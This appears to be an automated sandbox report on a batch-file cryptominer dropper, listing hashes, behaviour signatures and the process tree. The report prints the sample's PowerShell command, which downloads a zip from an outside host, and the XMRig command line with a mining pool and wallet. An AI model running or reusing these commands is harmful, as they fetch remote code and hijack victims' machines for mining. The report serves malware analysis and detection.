Analysis

  • max time kernel
    1800s
  • max time network
    1800s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-10-2023 12:25

General

  • Target

    tesy - Copy (9).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1772
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1116
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:984

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c20ac38ae3022e305b8752804aadf486

    SHA1

    4c144d6cfafb5c37ab4810ff3c1744df81493cdb

    SHA256

    03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

    SHA512

    c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_csr20yhf.b24.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/984-77-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-115-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-81-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-114-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-79-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-113-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-112-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-111-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-47-0x000001C325E90000-0x000001C325EB0000-memory.dmp

    Filesize

    128KB

  • memory/984-48-0x000001C3B7F10000-0x000001C3B7F50000-memory.dmp

    Filesize

    256KB

  • memory/984-49-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-50-0x000001C3B8370000-0x000001C3B8390000-memory.dmp

    Filesize

    128KB

  • memory/984-51-0x000001C3B85A0000-0x000001C3B85C0000-memory.dmp

    Filesize

    128KB

  • memory/984-52-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-53-0x000001C3B8370000-0x000001C3B8390000-memory.dmp

    Filesize

    128KB

  • memory/984-54-0x000001C3B85A0000-0x000001C3B85C0000-memory.dmp

    Filesize

    128KB

  • memory/984-55-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-56-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-57-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-58-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-59-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-60-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-61-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-62-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-63-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-64-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-65-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-66-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-67-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-68-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-69-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-80-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-71-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-72-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-73-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-74-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-75-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-76-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-110-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-78-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-109-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-70-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-108-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-82-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-83-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-84-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-85-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-86-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-87-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-88-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-89-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-90-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-91-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-92-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-93-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-94-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-95-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-96-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-97-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-98-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-99-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-100-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-101-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-102-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-103-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-104-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-105-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-106-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/984-107-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp

    Filesize

    11.0MB

  • memory/1772-43-0x00007FFE35210000-0x00007FFE35CD1000-memory.dmp

    Filesize

    10.8MB

  • memory/1772-33-0x00000149DD440000-0x00000149DD452000-memory.dmp

    Filesize

    72KB

  • memory/1772-28-0x00007FFE35210000-0x00007FFE35CD1000-memory.dmp

    Filesize

    10.8MB

  • memory/1772-29-0x00000149C29B0000-0x00000149C29C0000-memory.dmp

    Filesize

    64KB

  • memory/1772-30-0x00000149C29B0000-0x00000149C29C0000-memory.dmp

    Filesize

    64KB

  • memory/1772-32-0x00000149C29B0000-0x00000149C29C0000-memory.dmp

    Filesize

    64KB

  • memory/1772-34-0x00000149DD420000-0x00000149DD42A000-memory.dmp

    Filesize

    40KB

  • memory/4740-11-0x00000210F18C0000-0x00000210F18D0000-memory.dmp

    Filesize

    64KB

  • memory/4740-10-0x00007FFE35210000-0x00007FFE35CD1000-memory.dmp

    Filesize

    10.8MB

  • memory/4740-5-0x00000210F2320000-0x00000210F2342000-memory.dmp

    Filesize

    136KB

  • memory/4740-12-0x00000210F18C0000-0x00000210F18D0000-memory.dmp

    Filesize

    64KB

  • memory/4740-13-0x00000210F18C0000-0x00000210F18D0000-memory.dmp

    Filesize

    64KB

  • memory/4740-17-0x00007FFE35210000-0x00007FFE35CD1000-memory.dmp

    Filesize

    10.8MB